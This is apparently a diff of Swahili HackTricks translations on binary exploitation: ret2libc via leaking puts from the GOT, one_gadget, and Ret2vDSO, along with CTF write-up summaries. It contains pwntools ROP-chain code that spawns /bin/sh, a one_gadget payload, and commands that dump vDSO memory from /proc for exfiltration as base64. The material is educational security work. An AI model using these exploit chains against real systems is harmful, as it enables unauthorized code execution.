* Biti 64, ASLR imewezeshwa, hakuna canary, kuzidi kwa stakini kwenye main kutoka kwa kazi ya mtoto. Kifaa cha ROP kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita kifaa cha kipekee.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* Biti 64, hakuna PIE, hakuna canary, hakuna relro, nx. Inatumia kazi ya kuandika kuvuja anwani ya kuandika (libc) na kuita kifaa cha kipekee.
* Biti 64, hakuna pie, hakuna canary, hakuna relro, nx. Inatumia kazi ya kuandika kuvuja anwani ya kuandika (libc) na kuita kifaa cha kipekee.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Inatumia string ya muundo kuvuja kwa canary kutoka kwa stakati na kuzidi kwa buffer kuita mfumo (ipo kwenye GOT) na anwani ya `/bin/sh`.
* Inatumia stringi ya muundo kuvuja kwa canary kutoka kwa stakini na kuzidi kwa kizio kuita mfumo (ipo kwenye GOT) na anwani ya `/bin/sh`.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* Biti 32, hakuna relro, hakuna canary, nx, pie. Kutumia indeksi mbaya kuvuja anwani za libc na heap kutoka kwa stakati. Kutumia kuzidi kwa buffer kufanya ret2lib kuita `system('/bin/sh')` (anwani ya heap inahitajika kuvuka ukaguzi).
* Biti 32, hakuna relro, hakuna canary, nx, pie. Kutumia indeksi mbaya kuvuja anwani za libc na heap kutoka kwa stakini. Kutumia kuzidi kwa kizio kuita `system('/bin/sh')` (anwani ya heap inahitajika kuvuka ukaguzi).

View file

@ -1,8 +1,8 @@
# Gadgeti Moja
# Kifaa cha Moja
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuhack AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
[**Gadgeti Moja**](https://github.com/david942j/one\_gadget) inaruhusu kupata kifaa badala ya kutumia **system** na **"/bin/sh". Gadgeti Moja** itapata ndani ya maktaba ya libc njia ya kupata kifaa (`execve("/bin/sh")`) kwa kutumia tu **anwani moja**.\
[**Kifaa cha Moja**](https://github.com/david942j/one\_gadget) inaruhusu kupata kabibi badala ya kutumia **system** na **"/bin/sh". Kifaa cha Moja** kitapata ndani ya maktaba ya libc njia ya kupata kabibi (`execve("/bin/sh")`) kwa kutumia tu **anwani moja**.\
Hata hivyo, kawaida kuna vizuizi, vya kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Unapodhibiti thamani ndani ya **RSP** unachotakiwa kufanya ni kutuma thamani zingine za NULL ili kuepuka kizuizi hicho.
![](<../../../.gitbook/assets/image (751).png>)
@ -27,5 +27,19 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
Kwa anwani iliyoelezwa na One Gadget unahitaji **kuongeza anwani ya msingi ambapo `libc`** imepakia.
{% hint style="success" %}
One Gadget ni **msaada mzuri kwa njia za Arbitrary Write 2 Exec** na inaweza **kupunguza utata wa ROP** kwani unahitaji kuita anwani moja tu (na kutimiza mahitaji).
One Gadget ni **msaada mkubwa kwa njia za Arbitrary Write 2 Exec** na inaweza **kurahisisha minyororo ya ROP** kwani unahitaji kuita anwani moja tu (na kutimiza mahitaji).
{% endhint %}
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -17,7 +17,7 @@ Njia nyingine za kusaidia HackTricks:
## Muhtasari Haraka
1. **Pata** kosa la **kuzidi kiasi**
2. **Pata** vifaa vya `POP_RDI`, `PUTS_PLT` na `MAIN_PLT`
2. **Pata** kifaa cha `POP_RDI`, `PUTS_PLT` na kifaa cha `MAIN`
3. Tumia vifaa vilivyopita kwa **kuvuja anwani ya kumbukumbu** ya puts au kazi nyingine ya libc na **pata toleo la libc** ([pakua hapa](https://libc.blukat.me))
4. Kwa kutumia maktaba, **hesabu ROP na itumie**
@ -44,18 +44,17 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## Kigezo cha ROP - Kuvuja kwa anwani ya LIBC
## Kigezo cha ROP - Kuvuja kwa LIBC
Nitatumia nambari iliyoko hapa kutengeneza shambulizi.\
Pakua shambulizi na uiweke kwenye saraka ile ile na faili ya programu inayoweza kudhurika na toa data inayohitajika kwa script:
Pakua shambulio na uiweke kwenye saraka ile ile na faili ya programu inayoweza kudhurika na toa data inayohitajika kwa script:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## 1- Kupata kisawe
## 1- Kupata kigezo
Kigezo kinahitaji kisawe kabla ya kuendelea na shambulizi. Ikiwa hakuna kinachotolewa, itatekeleza nambari inayohitajika kufanya hivyo (kwa chaguo-msingi `OFFSET = ""`):
Kigezo kinahitaji kigezo kabla ya kuendelea na shambulio. Ikiwa hakuna kinachotolewa, itatekeleza nambari inayohitajika kuipata (kwa chaguo-msingi `OFFSET = ""`):
```bash
###################
### Find offset ###
@ -70,7 +69,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Tekeleza** `python template.py` konsoli ya GDB itafunguliwa na programu itakuwa imeharibika. Ndani ya **konsoli ya GDB** tekeleza `x/wx $rsp` ili kupata **baiti** ambazo zingebadilisha RIP. Hatimaye, pata **kielelezo** kwa kutumia konsoli ya **python**:
**Tekeleza** `python template.py` itafungua konsoli ya GDB na programu itakuwa imeharibika. Ndani ya **konsoli ya GDB** tekeleza `x/wx $rsp` ili upate **baiti** ambazo zingeharibu RIP. Hatimaye pata **kielelezo** kwa kutumia konsoli ya **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -96,14 +95,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` inahitajika kuita **function puts**.\
`MAIN_PLT` inahitajika kuita **main function** tena baada ya mwingiliano mmoja kwa **kunufaika** na **overflow tena** (mizunguko isiyo na mwisho ya kunufaika). **Inatumika mwishoni mwa kila ROP kuita programu tena**.\
**POP\_RDI** inahitajika kwa **kupitisha** **parameter** kwa **function** iliyoitwa.
`MAIN_PLT` inahitajika kuita **main function** tena baada ya mwingiliano mmoja kwa **kutumia** mlipuko **tena** (mizunguko isiyo na mwisho ya kutumia). **Inatumika mwishoni mwa kila ROP kuita programu tena**.\
**POP\_RDI** inahitajika kwa **kupitisha** **parameter** kwa function inayoitwa.
Katika hatua hii hauitaji kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.
## 3- Kupata maktaba ya libc
Sasa ni wakati wa kugundua ni toleo gani la maktaba ya **libc** inayotumiwa. Ili kufanya hivyo tutaleak **address** kwenye kumbukumbu ya **function** `puts` na kisha tutatafuta ni toleo gani la **library** linalolingana na toleo la puts katika anwani hiyo.
Sasa ni wakati wa kugundua ni toleo gani la maktaba ya **libc** linalotumiwa. Ili kufanya hivyo tutaleak **anwani** kwenye kumbukumbu ya **function** `puts` na kisha tutatafuta katika toleo gani la **maktaba** puts iko kwenye anwani hiyo.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -137,15 +136,13 @@ Ili kufanya hivyo, mstari muhimu zaidi wa nambari iliyotekelezwa ni:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Hii itatuma baadhi ya **bayti** hadi **kuandika tena** **RIP** iwezekanavyo: `OFFSET`.\
Kisha, itaweka **anwani** ya kifaa `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) iwekwe katika usajili wa **RDI**. Hii ni kwa sababu tunataka **kuita puts** **ikiipitisha** **anwani** ya `PUTS_GOT` kama anwani kwenye kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayoashiria na `PUTS_GOT`.\
Baada ya hayo, `PUTS_PLT` itaitwa (ikiwa na `PUTS_GOT` ndani ya **RDI**) hivyo puts itasoma **maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts kwenye kumbukumbu**) na ita **chapisha**.\
Hatimaye, **kazi kuu inaitwa tena** ili tuweze kutumia tena kujaza.
Kisha, itaweka **anwani** ya kifaa `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) iokolewe kwenye **daftari la RDI**. Hii ni kwa sababu tunataka **kuita puts** **ikiipitisha** **anwani** ya `PUTS_GOT` kama anwani kwenye kumbukumbu ya kazi ya puts imehifadhiwa kwenye anwani inayoashiria na `PUTS_GOT`.\
Baada ya hapo, `PUTS_PLT` itaitwa (na `PUTS_GOT` ndani ya **RDI**) hivyo puts itasoma **maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts kwenye kumbukumbu**) na ita **chapisha**.\
Hatimaye, **kazi kuu inaitwa tena** ili tuweze kutumia kujaza tena.
Kwa njia hii tumefanya **udanganyifu wa kazi ya puts** ili **kichapishwe** **anwani** kwenye **kumbukumbu** ya kazi ya **puts** (ambayo iko ndani ya maktaba ya **libc**). Sasa tukiwa na anwani hiyo tunaweza **kutafuta ni toleo gani la libc linatumika**.
Kwa njia hii tumefanya **udanganyifu wa kazi ya puts** ili **kichapishwe** **anwani** kwenye **kumbukumbu** ya kazi ya **puts** (ambayo iko ndani ya maktaba ya **libc**). Sasa tukiwa na anwani hiyo tunaweza **kutafuta ni toleo gani la libc linalotumiwa**.
![](<../../../../.gitbook/assets/image (1046).png>)
Kwa kuwa tunakuwa **tukitumia** baadhi ya **binary za ndani** haifai **kufikiria ni toleo gani la **libc** linatumika (tuambie maktaba iko `/lib/x86_64-linux-gnu/libc.so.6`).\
Kwa kuwa tunatumia baadhi ya **bayti za ndani** haihitajiki kugundua ni toleo gani la **libc** linalotumiwa (tuipate maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Lakini, katika kesi ya shambulio la mbali nitaeleza hapa jinsi unavyoweza kuipata:
### 3.1- Kutafuta toleo la libc (1)
@ -153,7 +150,7 @@ Lakini, katika kesi ya shambulio la mbali nitaeleza hapa jinsi unavyoweza kuipat
Unaweza kutafuta ni maktaba ipi inayotumiwa kwenye ukurasa wa wavuti: [https://libc.blukat.me/](https://libc.blukat.me)\
Pia itakuruhusu kupakua toleo lililopatikana la **libc**
![](<../../../../.gitbook/assets/image (218).png>)
![](<../../../../.gitbook/assets/image (1046).png>)
### 3.2- Kutafuta toleo la libc (2)
@ -163,13 +160,13 @@ Unaweza pia kufanya:
* `$ cd libc-database`
* `$ ./get`
Hii itachukua muda, kuwa mvumilivu.\
Hii itachukua muda fulani, kuwa na subira.\
Ili hii ifanye kazi tunahitaji:
* Jina la ishara ya Libc: `puts`
* Anwani iliyovuja ya libc: `0x7ff629878690`
Tunaweza kufikiria ni **libc** ipi inayotumiwa zaidi.
Tunaweza kugundua ni **libc** ipi inayotumiwa kwa uwezekano mkubwa.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
@ -196,11 +193,11 @@ gets
```
## 4- Kupata anwani ya msingi ya libc & kuitumia
Kufikia hatua hii tunapaswa kujua maktaba ya libc iliyotumiwa. Tukitumia binary ya ndani nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Kufikia hatua hii tunapaswa kujua maktaba ya libc iliyotumiwa. Tukitumia programu ya ndani nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Kwa hivyo, mwanzoni mwa `template.py` badilisha **libc** kwa: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set njia ya maktaba unapojua`
Kwa kumpa **njia** ya **maktaba ya libc** sehemu nyingine ya **kutumia itahesabiwa kiotomatiki**.
Kwa kutoa **njia** ya **maktaba ya libc** sehemu nyingine ya **kutumia itahesabiwa kiotomatiki**.
Ndani ya kazi ya `get_addr` anwani ya **msingi ya libc** itahesabiwa:
```python
@ -209,10 +206,10 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Tafadhali kumbuka kuwa **anwani ya mwisho ya msingi wa libc lazima imalizike kwa 00**. Ikiwa sio hivyo, unaweza kuwa umevuja maktaba isiyo sahihi.
Tafadhali kumbuka kuwa **anwani ya mwisho ya msingi wa libc lazima iishie na 00**. Ikiwa sio hivyo, unaweza kuwa umevuja maktaba isiyo sahihi.
{% endhint %}
Kisha, anwani ya kazi `system` na **anwani** ya herufi _"/bin/sh"_ itahesabiwa kutoka kwa **anwani ya msingi** ya **libc** na kutoa **maktaba ya libc.**
Kisha, anwani ya kazi ya `system` na **anwani** ya herufi _"/bin/sh"_ itahesabiwa kutoka kwa **anwani ya msingi** ya **libc** na kutoa **maktaba ya libc**.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -232,24 +229,24 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
Tueleze hii ROP ya mwisho.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi kuu, kisha tunaweza **kutumia tena** **kuzidi** (ndiyo sababu `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikionyesha **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameta.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi ya msingi, kisha tunaweza **kutumia tena** **kuzidi** (ndiyo sababu `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwa **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameter.\
Hatimaye, **anwani ya kazi ya exit** inaitwa ili mchakato uishe vizuri na tahadhari yoyote isitoke.
**Kwa njia hii, shambulizi litatekeleza kifaa cha \_/bin/sh**\_\*\*.
**Kwa njia hii shambulizi litatekeleza kikao cha \_/bin/sh**\_\*\*.\*\*
![](<../../../../.gitbook/assets/image (162).png>)
## 4(2)- Kutumia ONE\_GADGET
Unaweza pia kutumia [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)kupata kifaa cha shell badala ya kutumia **system** na **"/bin/sh". ONE\_GADGET** itapata ndani ya maktaba ya libc njia ya kupata kifaa cha shell kwa kutumia anwani moja tu ya **ROP**.\
Hata hivyo, kawaida kuna vizuizi, vya kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Unapodhibiti thamani ndani ya **RSP** unachotakiwa kufanya ni kutuma thamani zingine za NULL ili kuepuka kizuizi.
Unaweza pia kutumia [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)kupata kikao badala ya kutumia **system** na **"/bin/sh". ONE\_GADGET** itapata ndani ya maktaba ya libc njia ya kupata kikao kwa kutumia anwani moja tu ya **ROP**.\
Hata hivyo, kawaida kuna vizuizi, vya kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Unapodhibiti thamani ndani ya **RSP** unachohitaji kufanya ni kutuma thamani zingine za NULL ili kuepuka kizuizi.
![](<../../../../.gitbook/assets/image (751).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FAILI LA KUHADAHIKA
## FAILI LA KUINGIZA
Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
@ -257,7 +254,7 @@ Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## Matatizo Yanayojulikana
## Matatizo ya Kawaida
### MAIN\_PLT = elf.symbols\['main'] haipatikani
@ -277,7 +274,7 @@ Ikiwa binary haikutumii Puts unapaswa kuangalia ikiwa inatumia
### `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Ikiwa unakutana na **kosa** hili baada ya kuunda **exploit yote**: `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Ikiwa utapata **kosa** hili baada ya kuunda **exploit yote**: `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Jaribu **kupunguza 64 bytes kwa anwani ya "/bin/sh"**:
```python
@ -285,13 +282,13 @@ BINSH = next(libc.search("/bin/sh")) - 64
```
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -204,7 +204,7 @@ P.interactive() #Interact with your shell :)
### MAIN_PLT = elf.symbols\['main'] haipatikani
Ikiwa ishara ya "main" haipo. Basi unaweza tu kujua ni wapi msimbo wa main uko:
Ikiwa ishara ya "main" haipo (labda kwa sababu ni faili ya binary iliyokatwa). Kisha unaweza tu kuchunguza mahali ambapo msimbo wa main uko:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -216,13 +216,13 @@ MAIN_PLT = 0x401080
```
### Puts haipatikani
Ikiwa binary haikutumii Puts unapaswa kuangalia ikiwa inatumia
Ikiwa binary haikutumii Puts unapaswa **kuangalia kama inatumia**
### `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Ikiwa utapata **kosa** hili baada ya kuunda **exploit yote**: `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Ikiwa unakutana na **kosa** hili baada ya kuunda **exploit yote**: `sh: 1: %s%s%s%s%s%s%s%s: haipatikani`
Jaribu **kutoa 64 bytes kwa anwani ya "/bin/sh"**:
Jaribu **kupunguza 64 bytes kwa anwani ya "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```

View file

@ -0,0 +1,78 @@
# Ret2vDSO
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gwua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Kuna **vifaa katika eneo la vDSO**, ambalo hutumiwa kubadilisha kutoka hali ya mtumiaji hadi hali ya msingi. Katika changamoto za aina hii, kawaida picha ya msingi hutolewa ili kudump eneo la vDSO.
Kufuatia mfano kutoka [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) inawezekana kuona jinsi ilivyowezekana kudump sehemu ya vdso na kuhamisha kwenye mwenyeji na:
```bash
# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
# Compress and leak it
gzip vdso
base64 vdso.gz
# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
Vifaa vya ROP vilivyopatikana:
```python
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
